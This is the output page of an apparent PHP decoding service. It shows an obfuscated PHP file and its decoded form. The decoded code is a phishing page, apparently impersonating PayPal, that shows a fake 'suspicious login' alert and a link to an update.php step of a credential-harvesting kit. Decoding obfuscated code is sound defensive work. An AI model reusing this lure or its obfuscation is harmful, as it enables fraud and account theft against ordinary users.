Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4cO\x42A\x4c\x53"}["\x71j\x71\x6a\x63\x65\x69k"]="\x79\x65a\x72";${"GL\x4fB..

Decoded Output download

<?php ${"GLOBALS"}["qjqjceik"]="year";${"GLOBALS"}["dgcpwhsv"]="month";${"GLOBALS"}["idurcq"]="today";${"GLOBALS"}["kmglaoxwss"]="today";${"GLOBALS"}["xzprjtqiejes"]="day";${"GLOBALS"}["skufrvhyclw"]="month";session_start();$hrytkpgy="today";${$hrytkpgy}=getdate();$yguiclh="today";${${"GLOBALS"}["xzprjtqiejes"]}=${${"GLOBALS"}["kmglaoxwss"]}["mday"]-1;${${"GLOBALS"}["skufrvhyclw"]}=${$yguiclh}["mon"];${"GLOBALS"}["xrkylmhygnu"]="year";${${"GLOBALS"}["xrkylmhygnu"]}=${${"GLOBALS"}["idurcq"]}["year"];echo "<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8\">
    <title>Suspicious Activities - ayal</title>
    <link rel="stylesheet\" href="css/normalize.css">
	<link rel=\"shortcut icon\" type="image/x-icon" href=\"favicon.ico\" />
    <style type="text/css">
	
#footer {
	width: 100%;
	border-top-width: 1px;
	border-top-style: solid;
	border-top-color: #CCC;
	position: absolute;
    bottom: 0;
    left: 0;
    right: 0;
}

    body {
	background-color: #f5f5f5;
	background-image: url(imgs/bg.jpg);
	background-repeat: repeat-x;
	background-position: top;
	font-family: Arial, Helvetica, sans-serif;
	font-size: 11pt;
	font-weight: normal;
	color: #333;
	line-height: 20px;
	height: 100%;
    margin: 0;
}
html {
    padding-bottom: 50px;
    min-height: 100%;
    box-sizing: border-box;
    -moz-box-sizing: border-box;
    position: relative;
}

#home #home2 a {
	color: #FFF;
	text-decoration: none;
	background-color: #09F;
	font-weight: bold;
	padding-top: 15px;
	padding-right: 40px;
	padding-bottom: 15px;
	padding-left: 40px;
	margin-left: 10px;
	margin-top: 0px;
	font-size: 11pt;
	border-radius: 5px;
}
    #logo {
	width: 960px;
	height: 65px;
	margin-top: 0px;
	margin-right: auto;
	margin-bottom: 0px;
	margin-left: auto;
}
#home #home2 {
	float: left;
	margin-top: 50px;
	margin-right: 40px;
	margin-bottom: 50px;
	margin-left: -20px;
	width: 580px;
}
    #logo img {
	margin-top: 20px;
}
    #home {
	background-color: #FFF;
	width: 1000px;
	margin-top: 60px;
	margin-right: auto;
	margin-bottom: 100px;
	margin-left: auto;
}
    #home #home1 {
	float: left;
	background-color: #F5F5F5;
	width: 220px;
	text-align: center;
	margin: 50px;
	padding-top: 40px;
	padding-right: 30px;
	padding-bottom: 40px;
	padding-left: 30px;
}
    #home #home2 h1 {
	color: #333;
	font-family: Arial, Helvetica, sans-serif;
	font-size: 24px;
	font-weight: normal;
}
    #home #home2 #msg {
	margin-top: 30px;
	border: 1px solid #F60;
	font-size: 14px;
	font-weight: bold;
	padding-top: 20px;
	padding-bottom: 20px;
	padding-right: 10px;
	padding-left: 10px;
		border-radius: 5px;
}
#footer p {
	margin: 0px;
	padding: 10px;
	background-color: #666;
	color: #FFF;
	font-weight: bold;
	font-size: 14px;
}
    </style>
</head>
<script>
var testHeight = \$("#footer").height();
\$( "#footer\" ).css({
    margin-top: -testHeight;
});
</script>
<body>
<div id=\"logo">
<img src=\"imgs/logo_106x29.png\" />
</div>
<div id="home\">
	<div id="home1">
    <img src="imgs/peek-shield-logo.png\" />
    <p>T help prtect yur accunt we regularly lk fr early signs f ptentially fraudulent activity.</p>
    </div>
    <div id=\"home2">
    <h1>Were cncerned abut ptential unauthrized activity</h1>
    <p>After yu cnfirm yur identity, well walk yu thrugh steps t make yur accunt mre secure.</p>
    <div id="msg">
    <table width=\"100%\" border=\"0">
    <tr>
    <td>Lgin frm Unknwn device</td>
    <td>near Manassas, US</td>
    <td>";echo ${${"GLOBALS"}["xzprjtqiejes"]}."/".${${"GLOBALS"}["dgcpwhsv"]}."/".${${"GLOBALS"}["qjqjceik"]};echo ", 12:53</td>
    </tr>
    </table>
    </div>
    <p>Just t be safe, we want t make sure that this is yur accunt.</p>
    <br clear=\"all\">
    <a href="";echo "update.php?country.x=".strtolower($_SESSION["_countryCode_"])."-".$_SESSION["_countryCode_"]."&lang.x=".$_SESSION["_lang_"];echo "">Continue</a>
    </div>
    <br clear="all">
    </div>
<div id=\"footer\">
    <img src="imgs/footer2.jpg" />
    <p>Cpyright  1999 - 2015 ayal. All rights reserved.</p>
    </div>
</body>
</html>
"; 
?>

Did this file decode correctly?

Original Code

<?php ${"\x47\x4cO\x42A\x4c\x53"}["\x71j\x71\x6a\x63\x65\x69k"]="\x79\x65a\x72";${"GL\x4fBA\x4c\x53"}["dgc\x70\x77\x68\x73v"]="\x6d\x6f\x6e\x74h";${"G\x4c\x4f\x42AL\x53"}["\x69\x64\x75\x72c\x71"]="\x74\x6f\x64a\x79";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6b\x6d\x67la\x6f\x78\x77\x73\x73"]="\x74o\x64ay";${"G\x4cO\x42\x41L\x53"}["\x78\x7a\x70\x72j\x74q\x69\x65j\x65\x73"]="\x64\x61\x79";${"G\x4c\x4f\x42\x41\x4cS"}["s\x6bu\x66\x72v\x68\x79\x63l\x77"]="\x6d\x6fn\x74h";session_start();$hrytkpgy="\x74\x6fd\x61\x79";${$hrytkpgy}=getdate();$yguiclh="\x74o\x64a\x79";${${"\x47\x4c\x4f\x42\x41LS"}["xz\x70r\x6at\x71i\x65je\x73"]}=${${"GLOB\x41L\x53"}["k\x6dg\x6c\x61\x6f\x78\x77\x73s"]}["\x6d\x64a\x79"]-1;${${"\x47\x4c\x4f\x42A\x4cS"}["s\x6bu\x66\x72\x76\x68\x79\x63\x6cw"]}=${$yguiclh}["\x6don"];${"\x47\x4cO\x42A\x4c\x53"}["\x78\x72\x6by\x6c\x6d\x68yg\x6e\x75"]="\x79\x65ar";${${"\x47\x4c\x4f\x42\x41LS"}["\x78\x72ky\x6c\x6d\x68\x79gn\x75"]}=${${"\x47\x4cOBA\x4cS"}["\x69d\x75\x72\x63\x71"]}["y\x65\x61\x72"];echo "<\x21\x44O\x43\x54\x59\x50E ht\x6d\x6c>\n\x3c\x68t\x6dl\x3e\n\x3c\x68e\x61\x64\x3e\n\x20  \x20\x3cmeta\x20c\x68\x61rset=\x22U\x54\x46-\x38\">\n\x20  \x20\x3ct\x69\x74\x6c\x65>\x53\x75\x73\x70\x69\x63\x69ou\x73 \x41\x63\x74i\x76i\x74\x69e\x73 - \x61y\x61\x6c\x3c/t\x69tl\x65>\n   \x20\x3cli\x6ek\x20\x72\x65\x6c=\x22s\x74\x79\x6c\x65\x73h\x65\x65t\" \x68r\x65f\x3d\x22\x63\x73\x73/\x6e\x6frmal\x69z\x65.c\x73\x73\x22>\n\t<li\x6ek \x72\x65l\x3d\"s\x68o\x72\x74c\x75t \x69co\x6e\" ty\x70e=\x22i\x6da\x67\x65/x-\x69c\x6fn\x22\x20href\x3d\"\x66av\x69\x63\x6fn.i\x63\x6f\"\x20/\x3e\n\x20\x20\x20\x20<s\x74y\x6ce\x20\x74\x79p\x65\x3d\x22tex\x74/css\x22\x3e\n\t\n#\x66\x6f\x6f\x74e\x72\x20{\n\t\x77\x69dth:\x20\x3100%;\n\t\x62\x6f\x72\x64\x65r-\x74op-w\x69\x64t\x68:\x20\x31px;\n\t\x62order-to\x70-\x73\x74\x79l\x65: soli\x64;\n\tbor\x64e\x72-\x74\x6fp-\x63\x6f\x6cor:\x20#\x43C\x43\x3b\n\t\x70\x6f\x73\x69ti\x6f\x6e: \x61bs\x6f\x6c\x75te\x3b\n\x20 \x20 \x62o\x74t\x6f\x6d: 0;\n  \x20 lef\x74:\x20\x30;\n\x20\x20\x20 \x72\x69g\x68\x74: \x30\x3b\n}\n\n    \x62\x6f\x64y {\n\tb\x61c\x6b\x67\x72ou\x6e\x64-co\x6c\x6f\x72: #\x66\x35f5\x66\x35\x3b\n\tbac\x6b\x67r\x6fun\x64-\x69\x6da\x67\x65:\x20u\x72\x6c(\x69\x6dg\x73/\x62g.\x6a\x70g);\n\tb\x61c\x6b\x67ro\x75\x6ed-\x72\x65\x70e\x61t:\x20\x72ep\x65\x61t-\x78;\n\t\x62\x61\x63kg\x72o\x75\x6e\x64-\x70o\x73i\x74i\x6fn:\x20to\x70\x3b\n\tf\x6fnt-f\x61\x6dily:\x20\x41r\x69al, \x48e\x6cv\x65\x74\x69\x63a,\x20\x73a\x6e\x73-s\x65r\x69\x66;\n\tf\x6f\x6et-size: \x311\x70\x74;\n\t\x66o\x6e\x74-we\x69\x67\x68t: n\x6f\x72\x6da\x6c\x3b\n\tc\x6flor: #3\x33\x33;\n\tl\x69ne-\x68\x65igh\x74: 20px\x3b\n\t\x68\x65\x69\x67h\x74: \x3100\x25\x3b\n\x20 \x20 \x6d\x61\x72\x67i\x6e:\x200\x3b\n}\n\x68\x74ml {\n\x20\x20  p\x61d\x64\x69\x6e\x67-b\x6f\x74t\x6fm: 50px;\n\x20\x20 \x20mi\x6e-\x68eigh\x74: \x3100%\x3b\n\x20  \x20\x62\x6f\x78-sizi\x6e\x67: bo\x72der-b\x6f\x78\x3b\n\x20 \x20 -mo\x7a-\x62\x6f\x78-\x73\x69\x7a\x69ng:\x20\x62\x6fr\x64er-bo\x78\x3b\n\x20   p\x6f\x73iti\x6f\x6e:\x20re\x6c\x61ti\x76e;\n}\n\n#\x68om\x65 #\x68ome2\x20a {\n\t\x63\x6fl\x6f\x72:\x20#\x46F\x46;\n\tt\x65x\x74-d\x65\x63\x6fra\x74ion: \x6eo\x6e\x65;\n\tbac\x6b\x67\x72oun\x64-\x63\x6fl\x6f\x72:\x20\x23\x309F\x3b\n\t\x66\x6f\x6e\x74-weight:\x20b\x6f\x6c\x64;\n\tp\x61\x64di\x6e\x67-\x74\x6fp: \x315p\x78;\n\t\x70\x61ddi\x6eg-ri\x67\x68\x74: \x340px;\n\tpa\x64d\x69\x6e\x67-\x62\x6f\x74t\x6f\x6d: 15\x70x\x3b\n\tp\x61d\x64i\x6e\x67-\x6c\x65ft: 4\x30\x70x\x3b\n\t\x6d\x61\x72gin-\x6c\x65\x66t: \x310\x70\x78;\n\tm\x61rgi\x6e-\x74\x6fp:\x200px\x3b\n\t\x66on\x74-siz\x65: 11pt;\n\t\x62ord\x65\x72-ra\x64\x69us: \x35p\x78\x3b\n}\n\x20\x20\x20\x20#l\x6f\x67o {\n\twid\x74\x68:\x209\x36\x30px;\n\thei\x67h\x74:\x2065p\x78;\n\tma\x72gin-\x74o\x70:\x200\x70x\x3b\n\t\x6dar\x67\x69n-\x72\x69g\x68\x74: auto;\n\t\x6da\x72\x67in-\x62\x6ft\x74om: 0p\x78\x3b\n\tmar\x67in-l\x65f\x74:\x20a\x75t\x6f;\n}\n\x23h\x6f\x6de \x23\x68om\x65\x32 {\n\t\x66\x6coat: \x6c\x65f\x74;\n\t\x6d\x61\x72gi\x6e-\x74o\x70:\x205\x30px\x3b\n\t\x6da\x72g\x69\x6e-\x72\x69g\x68\x74:\x20\x34\x30\x70\x78;\n\t\x6d\x61r\x67i\x6e-b\x6ftt\x6fm: \x35\x30px;\n\tm\x61rg\x69\x6e-\x6ce\x66\x74: -20\x70x\x3b\n\twid\x74h:\x205\x380\x70x;\n}\n    #\x6c\x6f\x67o img\x20{\n\t\x6d\x61\x72\x67\x69n-to\x70:\x2020px\x3b\n}\n\x20\x20  #h\x6f\x6d\x65\x20{\n\t\x62\x61ckg\x72\x6f\x75\x6ed-\x63\x6f\x6co\x72:\x20#F\x46\x46;\n\tw\x69\x64\x74\x68: \x31\x30\x30\x30p\x78\x3b\n\t\x6da\x72g\x69n-\x74op:\x2060px;\n\tm\x61\x72g\x69n-\x72i\x67\x68t:\x20\x61\x75\x74o\x3b\n\t\x6dar\x67\x69\x6e-bott\x6f\x6d: \x3100px\x3b\n\t\x6d\x61r\x67\x69\x6e-l\x65ft: \x61u\x74o;\n}\n\x20  \x20#hom\x65 \x23\x68o\x6d\x651\x20{\n\t\x66l\x6fa\x74:\x20le\x66\x74\x3b\n\tba\x63kgr\x6fund-\x63o\x6c\x6fr:\x20#F\x35\x465F\x35\x3b\n\t\x77\x69d\x74h:\x202\x320\x70\x78\x3b\n\tte\x78t-alig\x6e:\x20\x63e\x6et\x65\x72;\n\tm\x61r\x67\x69\x6e: \x35\x30px;\n\t\x70\x61d\x64in\x67-\x74\x6f\x70:\x20\x34\x30p\x78\x3b\n\tp\x61\x64\x64\x69\x6eg-\x72\x69\x67\x68t:\x2030\x70\x78\x3b\n\tpadding-\x62\x6ft\x74om:\x20\x340px;\n\t\x70\x61\x64\x64i\x6e\x67-l\x65f\x74: 30px;\n}\n \x20\x20 \x23\x68o\x6de\x20#hom\x65\x32\x20\x68\x31 {\n\t\x63o\x6cor:\x20#3\x333\x3b\n\t\x66\x6fnt-f\x61m\x69\x6cy:\x20\x41\x72i\x61l, \x48\x65l\x76\x65\x74ic\x61,\x20s\x61ns-s\x65ri\x66\x3b\n\tfo\x6e\x74-s\x69\x7a\x65: 24px\x3b\n\t\x66\x6fnt-\x77\x65ig\x68\x74: no\x72\x6d\x61l\x3b\n}\n\x20\x20\x20 #\x68o\x6d\x65 #\x68om\x652\x20#\x6ds\x67\x20{\n\t\x6da\x72g\x69n-top: \x330px;\n\t\x62\x6frd\x65\x72: \x31\x70x\x20s\x6f\x6c\x69d\x20#\x46\x36\x30;\n\t\x66ont-siz\x65:\x2014\x70x;\n\tfon\x74-\x77\x65\x69gh\x74: \x62\x6fld;\n\tpa\x64\x64\x69ng-\x74\x6f\x70: \x32\x30px;\n\t\x70\x61d\x64i\x6e\x67-\x62\x6f\x74\x74om:\x2020px\x3b\n\t\x70\x61\x64d\x69ng-\x72\x69\x67ht: 1\x30px;\n\t\x70\x61dd\x69n\x67-\x6c\x65ft: 10px\x3b\n\t\t\x62\x6fr\x64\x65\x72-\x72ad\x69\x75\x73: 5\x70\x78\x3b\n}\n\x23f\x6fo\x74\x65r \x70 {\n\tm\x61\x72g\x69n:\x20\x30px;\n\t\x70ad\x64\x69\x6e\x67: 10\x70\x78;\n\t\x62a\x63\x6bg\x72\x6f\x75\x6e\x64-c\x6f\x6co\x72:\x20\x2366\x36\x3b\n\t\x63\x6f\x6c\x6fr:\x20\x23F\x46\x46\x3b\n\t\x66on\x74-\x77e\x69g\x68\x74: \x62\x6fld\x3b\n\tf\x6fn\x74-s\x69z\x65:\x201\x34p\x78\x3b\n}\n \x20\x20\x20\x3c/styl\x65\x3e\n</\x68e\x61d\x3e\n<scr\x69p\x74\x3e\n\x76\x61r\x20\x74\x65st\x48eight\x20\x3d\x20\$(\x22#\x66\x6f\x6fter\x22).height()\x3b\n\$(\x20\x22\x23\x66o\x6fte\x72\" )\x2e\x63\x73s({\n\x20\x20  \x6dar\x67i\x6e-to\x70: -te\x73\x74He\x69\x67ht\x3b\n});\n</\x73\x63\x72i\x70\x74\x3e\n<bo\x64y>\n<di\x76\x20id=\"\x6c\x6fg\x6f\x22\x3e\n<img\x20\x73r\x63\x3d\"img\x73/\x6co\x67\x6f_1\x30\x36\x7829\x2e\x70n\x67\"\x20/>\n\x3c/div\x3e\n<di\x76 i\x64=\x22ho\x6d\x65\">\n\t\x3cdi\x76\x20\x69d=\x22h\x6fme1\x22>\n\x20\x20\x20 <i\x6d\x67 s\x72c\x3d\x22\x69\x6d\x67s/\x70e\x65\x6b-\x73h\x69\x65\x6cd-lo\x67\x6f\x2e\x70\x6eg\" /\x3e\n\x20\x20\x20 <\x70\x3eT h\x65\x6c\x70\x20prte\x63t\x20y\x75\x72 \x61\x63\x63u\x6et\x20\x77\x65 \x72e\x67\x75\x6c\x61\x72\x6cy \x6c\x6b\x20f\x72 \x65ar\x6c\x79\x20si\x67\x6e\x73\x20f\x20p\x74\x65\x6e\x74\x69all\x79\x20fr\x61\x75\x64u\x6c\x65\x6e\x74\x20\x61c\x74\x69v\x69ty.\x3c/p>\n\x20 \x20 </\x64iv>\n   \x20<\x64iv i\x64\x3d\"\x68ome2\x22>\n\x20\x20\x20 <h\x31>We\x72e \x63nce\x72n\x65d\x20a\x62u\x74\x20p\x74\x65n\x74i\x61l u\x6ea\x75\x74h\x72iz\x65d\x20ac\x74iv\x69t\x79</h1\x3e\n\x20\x20 \x20<p>\x41f\x74\x65\x72\x20\x79\x75 \x63\x6e\x66i\x72\x6d\x20y\x75r \x69\x64\x65\x6eti\x74\x79, wel\x6c\x20\x77\x61\x6ck\x20\x79\x75\x20th\x72u\x67\x68\x20\x73\x74eps\x20\x74 \x6d\x61k\x65\x20yur a\x63c\x75\x6e\x74 \x6d\x72e\x20\x73e\x63u\x72e\x2e\x3c/p>\n\x20\x20\x20\x20<div\x20i\x64=\x22\x6ds\x67\x22>\n  \x20\x20<t\x61\x62le \x77i\x64\x74h=\"100\x25\" b\x6f\x72d\x65r\x3d\"\x30\x22\x3e\n\x20 \x20 \x3c\x74\x72\x3e\n\x20\x20\x20 \x3ctd\x3eLgin f\x72\x6d \x55n\x6b\x6e\x77n\x20de\x76\x69c\x65\x3c/td\x3e\n \x20\x20 <\x74\x64>\x6eea\x72 M\x61na\x73\x73\x61s, \x55\x53</t\x64\x3e\n  \x20\x20<t\x64\x3e";echo ${${"\x47\x4cO\x42\x41L\x53"}["\x78\x7a\x70rj\x74q\x69\x65j\x65s"]}."/".${${"G\x4c\x4fB\x41LS"}["d\x67\x63\x70wh\x73\x76"]}."/".${${"G\x4c\x4fB\x41L\x53"}["q\x6aq\x6ac\x65ik"]};echo ",\x20\x312:\x353</\x74\x64\x3e\n\x20\x20\x20\x20\x3c/tr\x3e\n\x20 \x20 \x3c/ta\x62l\x65>\n \x20 \x20\x3c/\x64\x69v\x3e\n\x20   \x3cp>\x4aus\x74\x20t\x20b\x65 s\x61fe,\x20we wan\x74\x20\x74\x20\x6dake\x20s\x75re th\x61t\x20t\x68\x69\x73\x20\x69s\x20yur\x20ac\x63\x75nt\x2e</p>\n\x20 \x20\x20<br c\x6c\x65a\x72=\"a\x6c\x6c\"\x3e\n \x20\x20\x20<a\x20h\x72e\x66=\x22";echo "\x75p\x64\x61te.p\x68\x70?co\x75\x6etry.\x78=".strtolower($_SESSION["_c\x6fu\x6e\x74ry\x43\x6fd\x65_"])."-".$_SESSION["\x5f\x63\x6f\x75nt\x72yC\x6fde_"]."\x26l\x61\x6eg\x2ex=".$_SESSION["_\x6c\x61n\x67_"];echo "\x22>\x43ont\x69n\x75e\x3c/a>\n \x20  </\x64\x69\x76\x3e\n\x20   \x3cbr\x20\x63l\x65\x61\x72=\x22\x61ll\x22>\n \x20  \x3c/\x64i\x76>\n\x3c\x64\x69v\x20\x69d\x3d\"\x66\x6foter\">\n\x20  \x20<\x69\x6dg\x20sr\x63\x3d\x22\x69\x6dgs/fo\x6f\x74e\x722\x2ejpg\x22 /\x3e\n \x20\x20 <p>\x43pyri\x67ht\x20\x20\x31\x39\x39\x39\x20- \x320\x31\x35\x20ayal.\x20A\x6cl \x72\x69\x67\x68ts\x20\x72\x65\x73\x65\x72\x76\x65\x64.\x3c/\x70\x3e\n\x20  \x20\x3c/d\x69\x76\x3e\n\x3c/b\x6fdy>\n</\x68\x74m\x6c\x3e\n";
?>

Function Calls

getdate 1
session_start 1

Variables

GLOBALS [{'key': 'qjqjceik', 'value': 'year'}, {'key': 'dgcpwhsv', 'value': 'month'}, {'key': 'idurcq', 'value': 'today'}, {'key': 'kmglaoxwss', 'value': 'today'}, {'key': 'xzprjtqiejes', 'value': 'day'}, {'key': 'skufrvhyclw', 'value': 'month'}]
$hrytkpgy today

Stats

MD5 3f4e5361f4c55227aae124b37e54e552
Eval Count 0
Decode Time 100 ms